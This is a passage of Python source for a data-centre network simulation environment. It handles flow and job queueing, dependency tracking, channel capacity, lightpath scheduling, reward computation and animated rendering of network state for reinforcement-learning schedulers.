flow_dict\n self.num_arrived_flows += 1\n else:\n # 'flow' never actually becomes flow (is ctrl dependency or src==dst)\n pass\n else:\n # can't yet schedule therefore don't count as arrived\n pass\n\n \n def get_max_flow_info_transferred_per_slot(self, flow_dict):\n '''\n Returns maximum possible flow information & number of packets transferred\n per timeslot given the flow's path (i.e. in point-to-point circuit switched\n network, max info transferred per slot is the bandwidth of the lowest bw\n link in the path * the slot size)\n '''\n packet_size = flow_dict['packet_size']\n path_links = self.get_path_edges(flow_dict['path'])\n channel = flow_dict['channel']\n link_bws = []\n for link in path_links:\n # link_bws.append(self.network[link[0]][link[1]]['channels'][channel])\n link_bws.append(self.network[link[0]][link[1]]['{}_to_{}_port'.format(link[0], link[1])]['channels'][channel])\n capacity = min(link_bws) # channel capacity == info transferred per unit time\n info_per_slot = capacity * self.slot_size # info transferred per slot == info transferred per unit time * number of time units (i.e. slot size)\n packets_per_slot = int(info_per_slot / packet_size) # round down \n\n return info_per_slot, packets_per_slot\n\n\n def update_flow_packets(self, flow_dict):\n '''\n Takes flow dict that has been schedueled to be activated for curr\n time slot and removes corresponding number of packets flow in queue\n '''\n # info_per_slot, packets_per_slot = self.get_max_flow_info_transferred_per_slot(flow_dict)\n # if flow_dict['packets_this_slot'] > packets_per_slot:\n # raise Exception('Trying to transfer {} packets this slot, but flow {} can only have up to {} packets transferred per slot.'.format(flow_dict['packets_this_slot'], flow_dict, packets_per_slot))\n\n \n sn = flow_dict['src']\n dn = flow_dict['dst']\n queued_flows = self.network.nodes[sn][dn]['queued_flows']\n idx = self.find_flow_idx(flow_dict, queued_flows)\n queued_flows[idx]['packets'] -= flow_dict['packets_this_slot']\n queued_flows[idx]['packets_this_slot'] = flow_dict['packets_this_slot']\n if queued_flows[idx]['packets'] < 0:\n queued_flows[idx]['packets'] = 0\n \n updated_flow = copy.copy(queued_flows[idx])\n if updated_flow['packets'] == 0:\n # all packets transported, flow completed\n self.register_completed_flow(updated_flow)\n \n \n return flow_dict\n\n def get_current_queue_states(self):\n '''\n Returns list of all queues in network\n '''\n queues = []\n eps = self.network.graph['endpoints']\n for ep in eps:\n ep_queues = self.network.nodes[ep]\n for ep_queue in ep_queues.values():\n if len(ep_queue['queued_flows'])!=0:\n queues.append(ep_queue)\n return queues\n \n\n def next_observation(self):\n '''\n Compiles simulator data and returns observation\n '''\n self.time_next_obs_start = time.time()\n try:\n if self.env_database_path is not None:\n # read from database\n with SqliteDict(self.slots_dict) as slots_dict:\n observation = {'slot_dict': slots_dict[json.dumps(self.curr_step)],\n 'network': copy.deepcopy(self.network)}\n self.update_curr_time(observation['slot_dict'])\n slots_dict.close()\n else:\n # stored in memory\n observation = {'slot_dict': self.slots_dict[self.curr_step],\n 'network': copy.deepcopy(self.network)}\n self.update_curr_time(observation['slot_dict'])\n # add any new events (flows or jobs) to queues\n observation = self.add_flows_to_queues(observation)\n # save step used as most recent valid curr_step for slots_dict indexing\n self.most_recent_valid_curr_step = self.curr_step\n except KeyError:\n # curr step either exceeded slots dict indices (no new flows/jobs arriving) or this step was not included in slots_dict since no demands arrived\n # index slot_dict with most recent valid curr step\n if self.env_database_path is not None:\n # read from database\n with SqliteDict(self.slots_dict) as slots_dict:\n observation = {'slot_dict': slots_dict[json.dumps(self.most_recent_valid_curr_step)],\n 'network': copy.deepcopy(self.network)}\n self.update_curr_time(observation['slot_dict'])\n slots_dict.close()\n else:\n # stored in memory\n observation = {'slot_dict': self.slots_dict[self.most_recent_valid_curr_step],\n 'network': copy.deepcopy(self.network)}\n self.update_curr_time(observation['slot_dict'])\n \n # update any dependencies of running ops\n if self.job_centric:\n observation = self.update_running_op_dependencies(observation)\n\n if self.gen_machine_readable_network:\n with tf.device('/cpu'):\n # create machine readable version of current network state\n _, observation['machine_readable_network'] = self.repgen.gen_machine_readable_network_observation(observation['network'], dtype=tf.float16)\n\n # update available actions\n observation['avail_actions'] = observation['machine_readable_network']\n\n self.time_next_obs_end = time.time()\n\n\n \n return observation\n\n \n\n\n\n def check_num_channels_used(self, graph, edge):\n '''\n Checks number of channels currently in use on given edge in graph\n '''\n num_channels = graph.graph['num_channels_per_link']\n num_channels_used = 0\n\n for channel in self.channel_names:\n channel_used = self.check_if_channel_used(graph, [edge], channel)\n if channel_used:\n num_channels_used += 1\n else:\n pass\n \n return num_channels_used, num_channels\n\n\n def draw_network_state(self,\n draw_flows=True,\n draw_ops=True,\n draw_node_labels=False,\n ep_label='server',\n appended_node_size=300, \n network_node_size=2000,\n appended_node_x_spacing=5,\n appended_node_y_spacing=0.75,\n font_size=15, \n linewidths=1, \n fig_scale=2):\n '''\n Draws network state as matplotlib figure\n '''\n \n network = copy.deepcopy(self.network)\n\n fig = plt.figure(figsize=[15*fig_scale,15*fig_scale])\n\n # add nodes and edges\n pos = {}\n flows = []\n network_nodes = []\n ops = []\n network_nodes_dict = networks.get_node_type_dict(network, self.network.graph['node_labels'])\n for nodes in list(network_nodes_dict.values()):\n for network_node in nodes:\n pos[network_node] = self.net_node_positions[network_node]\n\n eps = network.graph['endpoints']\n for ep in eps:\n ep_queues = network.nodes[ep]\n y_offset = -appended_node_y_spacing\n for ep_queue in ep_queues.values():\n for flow in ep_queue['queued_flows']:\n if self.job_centric:\n f_id = str(flow['job_id']+'_'+flow['flow_id'])\n else:\n f_id = str(flow['flow_id'])\n network.add_node(f_id)\n network.add_edge(f_id, flow['src'], type='queue_link')\n flows.append(f_id)\n pos[f_id] = (list(pos[flow['src']])[0]+appended_node_x_spacing, list(pos[flow['src']])[1]+y_offset)\n y_offset-=appended_node_y_spacing\n\n if self.job_centric:\n for ep in eps:\n y_offset = -appended_node_y_spacing\n for op in self.running_ops.keys():\n op_machine = self.running_ops[op]\n if ep == op_machine:\n network.add_node(op)\n network.add_edge(op, op_machine, type='op_link')\n ops.append(op)\n pos[op] = (list(pos[op_machine])[0]-appended_node_x_spacing, list(pos[op_machine])[1]+y_offset)\n y_offset-=appended_node_y_spacing\n else:\n # op not placed on this end point machine\n pass\n else:\n pass\n\n # find edges\n fibre_links = []\n queue_links = []\n op_links = []\n for edge in network.edges:\n if 'channels' in network[edge[0]][edge[1]]['{}_to_{}_port'.format(edge[0], edge[1])].keys():\n # edge is a fibre link\n fibre_links.append(edge)\n elif network[edge[0]][edge[1]]['type'] == 'queue_link':\n # edge is a queue link\n queue_links.append(edge)\n elif network[edge[0]][edge[1]]['type'] == 'op_link':\n # edge is a queue link\n op_links.append(edge)\n else:\n sys.exit('Link type not recognised.')\n\n # network nodes\n node_colours = iter(['#25c44d', '#36a0c7', '#e8b017', '#6115a3', '#160e63']) # server, rack, edge, agg, core\n for node_type in self.network.graph['node_labels']:\n nx.draw_networkx_nodes(network, \n pos, \n nodelist=network_nodes_dict[node_type],\n node_size=network_node_size, \n node_color=next(node_colours), \n linewidths=linewidths, \n label=node_type)\n\n if draw_flows:\n # flows\n nx.draw_networkx_nodes(network, \n pos, \n nodelist=flows,\n node_size=appended_node_size, \n node_color='#bd3937', \n linewidths=linewidths, \n label='Queued flow')\n # queue links\n nx.draw_networkx_edges(network, \n pos,\n edgelist=queue_links,\n edge_color='#bd3937',\n alpha=0.5,\n width=0.5,\n style='dashed',\n label='Queue link')\n\n if draw_ops and self.job_centric:\n # ops\n nx.draw_networkx_nodes(network, \n pos, \n nodelist=ops,\n node_size=appended_node_size, \n node_color='#1e9116', \n linewidths=linewidths, \n label='Running op')\n # op links\n nx.draw_networkx_edges(network, \n pos,\n edgelist=op_links,\n edge_color='#1e9116',\n alpha=0.5,\n width=0.5,\n style='dashed',\n label='Op link')\n\n\n\n\n # fibre links\n nx.draw_networkx_edges(network, \n pos,\n edgelist=fibre_links,\n edge_color='k',\n width=3,\n label='Fibre link')\n\n if draw_node_labels:\n # nodes\n nx.draw_networkx_labels(network, \n pos, \n font_size=font_size, \n font_color='k', \n font_family='sans-serif', \n font_weight='normal', \n alpha=1.0)\n\n plt.legend(labelspacing=2.5)\n \n return fig, network, pos\n\n\n def render_network(self, action=None, fig_scale=1):\n '''\n Renders network state as matplotlib figure and, if specified, renders\n chosen action(s) (lightpaths) on top of figure\n '''\n fig, network, pos = self.draw_network_state(draw_flows=True,\n draw_ops=True, \n fig_scale=fig_scale)\n \n if action is not None:\n # init fibre link labels\n fibre_link_labels = {}\n for edge in network.edges:\n if 'flow' in edge[0] or 'flow' in edge[1] or '_op_' in edge[0] or '_op_' in edge[1]:\n # edge is not a fibre, dont need to label\n pass\n else:\n # fibre not yet added\n fibre_link_labels[(edge[0], edge[1])] = 0\n\n # render selected actions/chosen lightpaths in network\n active_lightpath_edges = []\n for flow in action['chosen_flows']:\n path_edges = self.get_path_edges(flow['path'])\n f_id = str(flow['job_id']+'_'+flow['flow_id'])\n queue_link = [f_id, flow['src']]\n path_edges.append(queue_link)\n for edge in path_edges: \n active_lightpath_edges.append(edge)\n if '_flow_' in edge[0] or '_flow_' in edge[1] or '_op_' in edge[0] or '_op_' in edge[1]:\n # edge is not a fibre, dont need to label\n pass\n else:\n # edge is fibre, label with number of active lightpaths\n try:\n fibre_link_labels[(edge[0], edge[1])] += 1\n except KeyError:\n fibre_link_labels[(edge[1], edge[0])] += 1\n\n # format fibre link labels\n for link in fibre_link_labels.keys():\n num_channels_used = fibre_link_labels[link]\n fibre_label = '{}/{}'.format(str(num_channels_used),self.network.graph['num_channels_per_link']) \n fibre_link_labels[link] = fibre_label\n\n # lightpaths\n nx.draw_networkx_edges(network, \n pos,\n edgelist=active_lightpath_edges,\n edge_color='#e80e0e',\n alpha=0.5,\n width=15,\n label='Active lightpath')\n \n # lightpath labels\n nx.draw_networkx_edge_labels(network,\n pos,\n edge_labels=fibre_link_labels,\n font_size=15,\n font_color='k',\n font_family='sans-serif',\n font_weigh='normal',\n alpha=1.0)\n\n\n else:\n # no action given, just render network queue state(s)\n pass\n\n plt.title('Time: {}'.format(self.curr_time), fontdict={'fontsize': 100})\n \n return fig\n\n\n\n def conv_fig_to_image(self, fig):\n '''\n Takes matplotlib figure and converts into numpy array of RGB pixel values\n '''\n buf = io.BytesIO()\n fig.savefig(buf, format='png', dpi=self.dpi)\n buf.seek(0)\n img_arr = np.frombuffer(buf.getvalue(), dtype=np.uint8)\n buf.close()\n img = cv2.imdecode(img_arr,1)\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n\n return img\n\n \n def render(self, action=None, dpi=300, fig_scale=1):\n '''\n Renders current network state for final animation at end of scheduling\n session. If action is None, will only render network queue state(s)\n rather than also rendering selected lightpaths.\n '''\n self.dpi = dpi\n fig = self.render_network(copy.deepcopy(action), fig_scale=fig_scale)\n self.animation_images.append(self.conv_fig_to_image(fig))\n plt.close() \n \n def register_completed_job(self, job_dict):\n \n # record time at which job was completed\n # job_dict['time_completed'] = copy.copy(self.curr_time)\n job_dict['time_completed'] = copy.copy(self.curr_time) + self.slot_size\n self.num_completed_jobs += 1\n # self.completed_jobs.append(job_dict)\n if self.env_database_path is not None:\n with SqliteDict(self.completed_job_dicts) as completed_job_dicts:\n completed_job_dicts[job_dict['job_id']] = job_dict\n completed_job_dicts.commit()\n completed_job_dicts.close()\n else:\n self.completed_job_dicts[job_dict['job_id']] = job_dict\n # jct = job_dict['time_completed']-job_dict['time_arrived']\n \n # remove job from queue\n self.remove_job_from_queue(job_dict) \n \n def update_completed_flow_job(self, completed_flow):\n '''\n Updates dependencies of other flows in job of completed flow.\n Checks if all flows in job of completed flow have been completed.\n If so, will update stat trackers & remove from tracking list\n '''\n # update any dependencies of flow in job\n self.update_job_flow_dependencies(completed_flow)\n\n # check if job completed\n job_id = completed_flow['job_id']\n job_flows_completed, job_ctrl_deps_completed = True, True\n eps = self.network.graph['endpoints']\n # check job flows\n for ep in eps:\n ep_queues = self.network.nodes[ep]\n for ep_queue in ep_queues.values():\n for f in ep_queue['queued_flows']:\n if f['job_id'] == job_id and f['time_completed'] is None:\n # job still has at least one uncompleted flow left\n job_flows_completed = False\n break\n\n # check job ctrl deps\n if self.env_database_path is not None:\n control_deps = SqliteDict(self.control_deps)\n else:\n control_deps = self.control_deps\n\n for dep in control_deps.values():\n if dep['job_id'] == job_id and dep['time_completed'] is None:\n # job still has at least one uncompleted control dependency left\n job_ctrl_deps_completed = False\n break\n\n if self.env_database_path is not None:\n control_deps.close()\n\n if job_flows_completed == True and job_ctrl_deps_completed == True:\n # register completed job\n for job in self.network.graph['queued_jobs']:\n if job['job_id'] == job_id:\n self.register_completed_job(job)\n break\n else:\n # job not yet completed, has outstanding dependencies\n pass\n \n \n def update_job_flow_dependencies(self, completed_flow):\n '''\n Go through flows in job and update any flows that were waiting for \n completed flow to arrive before being able to be scheduled\n '''\n completed_child_dependencies = completed_flow['child_deps']\n eps = self.network.graph['endpoints']\n\n if self.env_database_path is not None:\n control_deps = SqliteDict(self.control_deps)\n else:\n control_deps = self.control_deps\n _control_deps = {} # tmp dict so don't need to edit dict during loop (crashes database)\n \n for child_dep in completed_child_dependencies:\n # go through queued flows\n for ep in eps:\n ep_queues = self.network.nodes[ep]\n for ep_queue in ep_queues.values():\n for flow_dict in ep_queue['queued_flows']:\n if flow_dict['job_id'] == completed_flow['job_id']:\n # only update if part of same job!\n if flow_dict['flow_id'] == child_dep:\n # child dependency found\n flow_dict['completed_parent_deps'].append(completed_flow['flow_id'])\n if len(flow_dict['completed_parent_deps']) == len(flow_dict['parent_deps']):\n # parent dependencies of child op have been completed\n if flow_dict['parent_op_run_time'] > 0 and flow_dict['time_parent_op_started'] == None:\n # child op of flow has non-zero run time and has not yet started\n flow_dict['time_parent_op_started'] = self.curr_time\n #op_id = flow_dict['job_id']+'_op_'+str(flow_dict['parent_op'])\n op_id = flow_dict['job_id']+'_'+flow_dict['parent_op']\n op_machine = flow_dict['src']\n self.running_ops[op_id] = op_machine\n else:\n # child op of flow has 0 run time, can schedule flow now\n flow_dict['can_schedule'] = 1\n flow_dict['time_arrived'] = self.curr_time\n self.register_arrived_flow(flow_dict)\n else:\n # still can't schedule\n pass\n else:\n # flow is not a child dep of completed flow\n pass\n else:\n # flow not part of same job as completed flow\n pass\n\n \n for child_dep in completed_child_dependencies:\n # go through arrived control dependencies\n for key in control_deps.keys():\n control_dep = control_deps[key]\n if control_dep['job_id'] == completed_flow['job_id']:\n # only update if part of same job!\n if control_dep['flow_id'] == child_dep:\n # child dependency found\n control_dep['completed_parent_deps'].append(completed_flow['flow_id'])\n if len(control_dep['completed_parent_deps']) == len(control_dep['parent_deps']):\n # parent dependencies of child op have been completed\n if control_dep['parent_op_run_time'] > 0 and control_dep['time_parent_op_started'] == None:\n # child op of control dep has non-zero run time and has not yet started\n control_dep['time_parent_op_started'] = self.curr_time\n control_dep['time_arrived'] = self.curr_time\n #op_id = control_dep['job_id']+'_op_'+str(flow_dict['parent_op'])\n op_id = control_dep['job_id']+'_'+control_dep['parent_op']\n op_machine = control_dep['src']\n self.running_ops[op_id] = op_machine\n else:\n # child op of control dep has 0 run time, control dependency has been satisfied\n control_dep['can_schedule'] = 1\n control_dep['time_arrived'] = self.curr_time\n else:\n # still can't schedule\n pass\n # store update\n _control_deps[control_dep['unique_id']] = control_dep\n else:\n # dep is not a child dep of completed flow\n pass\n else:\n # dep not part of same job as completed flow\n pass\n\n # update with stored updates\n for key, val in _control_deps.items():\n control_deps[key] = val\n\n if self.env_database_path is not None:\n control_deps.commit()\n control_deps.close()\n else:\n self.control_deps = control_deps\n \n\n def update_flow_attrs(self, chosen_flows):\n self.time_update_flow_attrs_start = time.time()\n\n for flow in chosen_flows:\n sn = flow['src']\n dn = flow['dst']\n queued_flows = self.network.nodes[sn][dn]['queued_flows']\n idx = self.find_flow_idx(flow, queued_flows)\n dated_flow = self.network.nodes[sn][dn]['queued_flows'][idx]\n dated_flow['packets_this_slot'] = flow['packets_this_slot']\n if dated_flow['packets'] is None:\n # udpate flow packets and k shortest paths\n dated_flow['packets'] = flow['packets']\n dated_flow['packet_size'] = flow['packet_size']\n dated_flow['k_shortest_paths'] = flow['k_shortest_paths']\n else:\n # agent updates already applied\n pass\n\n self.time_update_flow_attrs_end = time.time()\n\n def reset_channel_capacities_of_edges(self, edges):\n '''Takes edges and resets their available capacities back to their maximum capacities.'''\n for edge in edges:\n # for channel in self.network[edge[0]][edge[1]]['channels']:\n for channel in self.network[edge[0]][edge[1]]['{}_to_{}_port'.format(edge[0], edge[1])]['channels']:\n # reset channel capacity of both ports\n self.network[edge[0]][edge[1]]['{}_to_{}_port'.format(edge[0], edge[1])]['channels'][channel] = self.network[edge[0]][edge[1]]['{}_to_{}_port'.format(edge[0], edge[1])]['max_channel_capacity']\n self.network[edge[1]][edge[0]]['{}_to_{}_port'.format(edge[1], edge[0])]['channels'][channel] = self.network[edge[0]][edge[1]]['{}_to_{}_port'.format(edge[0], edge[1])]['max_channel_capacity']\n # update global graph property\n self.network.graph['curr_nw_capacity_used'] = 0\n\n\n def take_action(self, action):\n self.time_take_action_start = time.time()\n\n # reset channel capacities of all links (start with no flows scheduled therefore all channel capacity is available before action is taken)\n self.reset_channel_capacities_of_edges(self.network.edges)\n\n # unpack chosen action\n chosen_flows = action['chosen_flows']\n\n if not self.time_multiplexing:\n # no time multiplexing -> can only schedule one flow per channel per time slot. Check chosen flows valid\n self.check_chosen_flows_valid(chosen_flows)\n else:\n # assume perfect time multiplexing -> can schedule as many flow packets as possible so long as sum(scheduled_flows_packets) <= max_channel_capacity. If chosen flows are not valid, an exception will be raised later when trying to setup the flows.\n pass\n \n # update any flow attrs in dcn network that have been updated by agent\n self.update_flow_attrs(chosen_flows)\n\n # establish chosen flows\n self.time_establish_flows_start = time.time()\n # if len(chosen_flows) == 0:\n # # no flows chosen\n # pass\n # else:\n # ray.get([self.set_up_connection.remote(self, flow) for flow in chosen_flows])\n for chosen_flow in chosen_flows:\n # chosen flow not already established, establish connection\n self.set_up_connection(chosen_flow)\n self.time_establish_flows_end = time.time()\n\n # take down replaced flows\n self.time_takedown_flows_start = time.time()\n for prev_chosen_flow in self.connected_flows:\n #flow_established, _ = self.check_flow_present(prev_chosen_flow, chosen_flows)\n if self.connected_flows == 0:\n # no flows chosen previously\n pass\n #elif flow_established:\n elif self.check_flow_present(prev_chosen_flow, chosen_flows):\n # prev chosen flow has been re-chosen, leave\n pass\n else:\n # prev chosen flow not re-chosen, take down connection\n self.take_down_connection(prev_chosen_flow)\n self.time_takedown_flows_end = time.time()\n\n\n\n # all chosen flows established and any removed flows taken down\n # update connected_flows\n\n self.connected_flows = chosen_flows.copy()\n\n if self.track_queue_length_evolution:\n self.update_queue_evolution()\n if self.track_grid_slot_evolution:\n self.update_grid_slot_evolution(chosen_flows)\n if self.track_link_utilisation_evolution:\n self.update_link_utilisation_evolution()\n # N.B. update_link_concurrent_demands_evolution() done inside set_up_connection() for efficiency\n\n self.time_take_action_end = time.time()\n\n def display_step_processing_time(self, num_decimals=8):\n # step\n step_time = self.time_step_end - self.time_step_start\n\n # take action\n take_action_time = self.time_take_action_end - self.time_take_action_start\n\n # # check flow validity\n # check_valid_time = self.time_check_valid_end - self.time_check_valid_start\n\n # update flow attrs\n update_flow_attrs_time = self.time_update_flow_attrs_end - self.time_update_flow_attrs_start\n\n # establish chosen flows\n establish_flows_time = self.time_establish_flows_end - self.time_establish_flows_start\n\n # take down replaced flows\n takedown_flows_time = self.time_takedown_flows_end - self.time_takedown_flows_start\n\n # reward\n\n # check done\n\n # next obs\n next_obs_time = self.time_next_obs_end - self.time_next_obs_start\n\n # queue flows\n if self.most_recent_valid_curr_step == self.curr_step:\n # attempted to add flows to queue\n queue_flows_time = self.time_queue_flows_end - self.time_queue_flows_start\n queued_flows = True\n else:\n # no attempt to add flows to queue\n queued_flows = False\n\n # gen machine readable\n if self.gen_machine_readable_network:\n try:\n gen_machine_readable_time = self.repgen.time_gen_machine_readable_end - self.repgen.time_gen_machine_readable_start\n machine_readable = True\n except AttributeError:\n # haven't generated a machine readable representation\n machine_readable = False\n\n # create table\n summary_dict = {\n 'Step': [round(step_time, num_decimals)],\n 'Take Action': [round(take_action_time, num_decimals)],\n # 'Check Valid': [round(check_valid_time, num_decimals)],\n 'Update Attrs': [round(update_flow_attrs_time, num_decimals)],\n 'Establish': [round(establish_flows_time, num_decimals)],\n 'Takedown': [round(takedown_flows_time, num_decimals)],\n 'Next Obs': [round(next_obs_time, num_decimals)]\n }\n if queued_flows:\n summary_dict['Q Flows'] = [round(queue_flows_time, num_decimals)]\n if self.gen_machine_readable_network:\n if machine_readable:\n summary_dict['Gen Mach'] = [round(gen_machine_readable_time, num_decimals)]\n\n df = pd.DataFrame(summary_dict)\n print('')\n print(tabulate(df, showindex=False, headers='keys', tablefmt='psql'))\n\n\n\n\n def display_env_memory_usage(self, obs):\n # slots_dict\n slots_dict_size = sys.getsizeof(json.dumps(self.slots_dict))\n\n # network\n network_size = sys.getsizeof(pickle.dumps(self.network)) \n\n # grid slot evolution\n if self.track_grid_slot_evolution:\n grid_slot_size = sys.getsizeof(json.dumps(self.grid_slot_dict))\n\n if self.track_queue_length_evolution:\n queue_length_size = sys.getsizeof(json.dumps(self.queue_evolution_dict))\n\n # # machine readable representation\n # machine_readable_network_size = sys.getsizeof(json.dumps(obs['machine_readable_network']))\n\n # # observation\n # obs_size = sys.getsizeof(json.dumps(obs))\n\n # create table\n summary_dict = {\n 'Time': [self.curr_time],\n 'Slots Dict (B)': [slots_dict_size],\n 'Network (B)': [network_size]}\n if self.track_grid_slot_evolution:\n summary_dict['Grid Slot (B)'] = [grid_slot_size]\n if self.track_queue_length_evolution:\n summary_dict['Queue Evol (B)'] = [queue_length_size]\n df = pd.DataFrame(summary_dict)\n print('')\n print(tabulate(df, showindex=False, headers='keys', tablefmt='psql'))\n\n\n\n def step(self, action, print_memory_usage=False, print_processing_time=False):\n '''\n Performs an action in the DCN simulation environment, moving simulator\n to next step\n '''\n # # DEBUG:\n # queues = self.get_current_queue_states() \n # print('\\nQueues being given to scheduler:')\n # i = 0\n # for q in queues:\n # print('queue {}:\\n{}'.format(i, q))\n # i+=1\n # # print('Chosen action received by environment:\\n{}'.format(action))\n # # print('Queued jobs:\\n{}'.format(self.network.graph['queued_jobs']))\n # print('Incomplete control deps:')\n # control_deps = SqliteDict(self.control_deps)\n # for c in control_deps.values():\n # if c['time_completed'] is None or c['time_parent_op_started'] is None:\n # print(c)\n # else:\n # pass\n # control_deps.close()\n # if self.job_centric:\n # print('Time: {} Step: {} | Sim demands: {} | Flows arrived/completed/dropped: {}/{}/{} | Jobs arrived/completed/dropped: {}/{}/{} | Ctrl deps arrived/completed: {}/{}'.format(self.curr_time, self.curr_step, self.num_demands, self.num_arrived_flows, self.num_completed_flows, self.num_dropped_flows, self.num_arrived_jobs, self.num_completed_jobs, self.num_dropped_jobs, self.num_arrived_control_deps, self.num_completed_control_deps)) \n # else:\n # print('Time: {} Step: {} | Sim demands: {} | Flows arrived/completed/dropped: {}/{}/{}'.format(self.curr_time, self.curr_step, self.num_demands, self.num_arrived_flows, self.num_completed_flows, self.num_dropped_flows)) \n\n\n\n\n\n self.time_step_start = time.time()\n\n self.action = action # save action\n\n self.take_action(action)\n\n self.curr_step += 1\n reward = self.calc_reward()\n done = self.check_if_done()\n info = None\n obs = self.next_observation()\n\n self.time_step_end = time.time()\n\n\n if print_memory_usage:\n self.display_env_memory_usage(obs)\n if print_processing_time:\n self.display_step_processing_time()\n\n if self.profile_memory:\n percent_sim_time_completed = round(100*(self.curr_time/self.max_time), 0)\n if percent_sim_time_completed % self.memory_profile_resolution == 0:\n if percent_sim_time_completed not in self.percent_sim_times_profiled:\n print('Snapshotting memory...')\n start = time.time()\n self.tracker.print_diff()\n end = time.time()\n print('Snapshotted in {} s'.format(end-start))\n self.percent_sim_times_profiled.append(percent_sim_time_completed)\n\n\n return obs, reward, done, info\n \n \n def calc_num_queued_flows_num_full_queues(self):\n '''\n Calc num queued flows and full queues in network\n '''\n num_full_queues = 0\n num_queued_flows = 0\n \n eps = self.network.graph['endpoints']\n for ep in eps:\n ep_queues = self.network.nodes[ep]\n for ep_queue in ep_queues.values():\n num_flows_in_queue = len(ep_queue['queued_flows'])\n num_queued_flows += num_flows_in_queue\n if self.max_flows is not None:\n if num_flows_in_queue == self.max_flows:\n num_full_queues += 1\n elif num_flows_in_queue > self.max_flows:\n raise Exception('Error: max flows per queue is {}, but have {} flows in queue.'.format(self.max_flows, num_flows_in_queue))\n else:\n pass\n else:\n # no max number of flows therefore no full queues\n pass\n\n return num_queued_flows, num_full_queues\n\n\n def calc_num_queued_jobs(self):\n '''Calc num queued jobs in network.'''\n return len(self.network.graph['queued_jobs'])\n\n\n def calc_reward(self):\n if self.max_flows is None:\n # no maximum number of flows per queue therefore no full queues\n num_queued_flows, _ = self.calc_num_queued_flows_num_full_queues()\n r = - (self.slot_size * num_queued_flows)\n else:\n num_queued_flows, num_full_queues = self.calc_num_queued_flows_num_full_queues()\n r = - (self.slot_size) * (num_queued_flows + num_full_queues)\n\n return r\n \n def save_rendered_animation(self, path_animation, fps=1, bitrate=1800, animation_name='anim'):\n if len(self.animation_images) > 0:\n # rendered images ready to be made into animation\n print('\\nSaving scheduling session animation...')\n plt.close()\n fig = plt.figure()\n fig.patch.set_visible(False)\n ax = fig.gca()\n ax.axis('off')\n plt.box(False)\n images = []\n for im in self.animation_images:\n img = plt.imshow(im)\n images.append([img])\n ani = animation.ArtistAnimation(fig,\n images,\n interval=1000,\n repeat_delay=5000,\n blit=True)\n Writer = animation.writers['ffmpeg']\n writer = Writer(fps=fps, bitrate=bitrate) #codec=libx264\n ani.save(path_animation + animation_name + '.mp4', writer=writer, dpi=self.dpi)\n print('Animation saved.')\n else:\n print('No images were rendered during scheduling session, therefore\\\n cannot make animation.')\n \n\n def check_if_any_flows_arrived(self):\n if self.num_arrived_flows == 0:\n sys.exit('Scheduling session ended, but no flows were recorded as \\\n having arrived. Consider whether the demand data you gave \\\n to the simulator actually contains non-zero sized messages \\\n which become flows.')\n else:\n pass\n\n\n def check_if_done(self):\n '''\n Checks if all flows (if flow centric) or all jobs (if job centric) have arrived &\n been completed &/or dropped\n '''\n if self.max_time is None:\n if self.job_centric:\n if (self.num_arrived_jobs != self.num_completed_jobs and self.num_arrived_jobs != 0 and self.num_demands != self.num_dropped_jobs+self.num_completed_jobs) or self.num_arrived_jobs != self.num_demands:\n return False\n else:\n self.check_if_any_flows_arrived()\n return True\n else:\n if (self.num_arrived_flows != self.num_completed_flows and self.num_arrived_flows != 0 and self.num_demands != self.num_dropped_flows+self.num_completed_flows) or self.num_arrived_flows != self.num_demands:\n return False\n else:\n self.check_if_any_flows_arrived()\n return True\n\n else:\n if self.job_centric:\n if self.curr_time >= self.max_time:\n self.check_if_any_flows_arrived()\n return True\n elif (self.num_arrived_jobs != self.num_completed_jobs and self.num_arrived_jobs != 0 and self.num_demands != self.num_dropped_jobs+self.num_completed_jobs) or self.num_arrived_jobs != self.num_demands:\n return False\n else:\n self.check_if_any_flows_arrived()\n return True\n else:\n if self.curr_time >= self.max_time:\n self.check_if_any_flows_arrived()\n return True\n elif (self.num_arrived_flows != self.num_completed_flows and self.num_arrived_flows != 0 and self.num_demands != self.num_dropped_flows+self.num_completed_flows) or self.num_arrived_flows != self.num_demands:\n return False\n else:\n self.check_if_any_flows_arrived()\n return True\n\n\n def get_path_edges(self, path):\n '''\n Takes a path and returns list of edges in the path\n\n Args:\n - path (list): path in which you want to find all edges\n\n Returns:\n - edges (list of lists): all edges contained within the path\n '''\n num_nodes = len(path)\n num_edges = num_nodes - 1\n edges = [path[edge:edge+2] for edge in range(num_edges)]\n\n return edges\n \n \n def check_flow_present(self, flow, flows):\n '''\n Checks if flow is present in a list of flows. Assumes the following \n flow features are unique and unchanged properties of each flow:\n - flow size\n - source\n - destination\n - time arrived\n - flow_id\n - job_id\n\n Args:\n - flow (dict): flow dictionary\n - flows (list of dicts) list of flows in which to check if flow is\n present\n '''\n size = flow['size']\n src = flow['src']\n dst = flow['dst']\n time_arrived = flow['time_arrived']\n flow_id = flow['flow_id']\n job_id = flow['job_id']\n\n idx = 0\n for f in flows:\n if f['size']==size and f['src']==src and f['dst']==dst and f['time_arrived']==time_arrived and f['flow_id']==flow_id and f['job_id']==job_id:\n # flow found in flows\n return True, idx\n else:\n # flow not found, move to next f in flows\n idx += 1\n\n return False, idx\n \n def find_flow_idx(self, flow, flows):\n '''\n Finds flow idx in a list of flows. Assumes the following \n flow features are unique and unchanged properties of each flow:\n - flow size\n - source\n - destination\n - time arrived\n - flow_id\n - job_id\n\n Args:\n - flow (dict): flow dictionary\n - flows (list of dicts) list of flows in which to find flow idx\n '''\n size = flow['size']\n src = flow['src']\n dst = flow['dst']\n time_arrived = flow['time_arrived']\n flow_id = flow['flow_id']\n job_id = flow['job_id']\n\n idx = 0\n for f in flows:\n if f['size']==size and f['src']==src and f['dst']==dst and f['time_arrived']==time_arrived and f['flow_id'] == flow_id and f['job_id'] == job_id:\n # flow found in flows\n return idx\n else:\n # flow not found, move to next f in flows\n idx += 1\n \n return sys.exit('Flow not found in list of flows')\n \n \n def check_if_channel_used(self, graph, edges, channel):\n '''\n Takes list of edges to see if any one of the edges have used a certain\n channel\n\n Args:\n - edges (list of lists): edges we want to check if have used certain\n channel\n - channel (label): channel we want to check if has been used by any\n of the edges\n\n Returns:\n - True/False\n '''\n channel_used = False\n \n num_edges = len(edges)\n for edge in range(num_edges):\n node_pair = edges[edge]\n # capacity = graph[node_pair[0]][node_pair[1]]['channels'][channel]\n capacity = graph[node_pair[0]][node_pair[1]]['{}_to_{}_port'.format(node_pair[0], node_pair[1])]['channels'][channel]\n if round(capacity,0) != round(graph[node_pair[0]][node_pair[1]]['{}_to_{}_port'.format(node_pair[0], 